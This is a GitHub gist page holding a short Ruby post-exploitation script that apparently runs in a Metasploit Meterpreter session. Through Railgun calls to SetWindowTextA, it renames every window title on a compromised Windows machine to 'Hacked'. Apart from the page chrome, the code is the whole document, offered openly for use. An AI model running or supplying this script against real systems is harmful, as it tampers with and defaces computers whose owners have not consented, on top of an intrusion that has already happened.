Skip to content

Instantly share code, notes, and snippets.

@prashanth-sams
Forked from mubix/hacked_windowtext.rb
Created March 20, 2017 12:54
Show Gist options
  • Save prashanth-sams/940b2133ddcd249e91de52095eccc1a4 to your computer and use it in GitHub Desktop.
Save prashanth-sams/940b2133ddcd249e91de52095eccc1a4 to your computer and use it in GitHub Desktop.
Sets all of the windows titles for the current user to "Hacked"
windows = client.extapi.window.enumerate
windows.each do |winder|
if winder[:title] != 'Default IME'
result = client.railgun.user32.SetWindowTextA(winder[:handle],"Hacked")
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment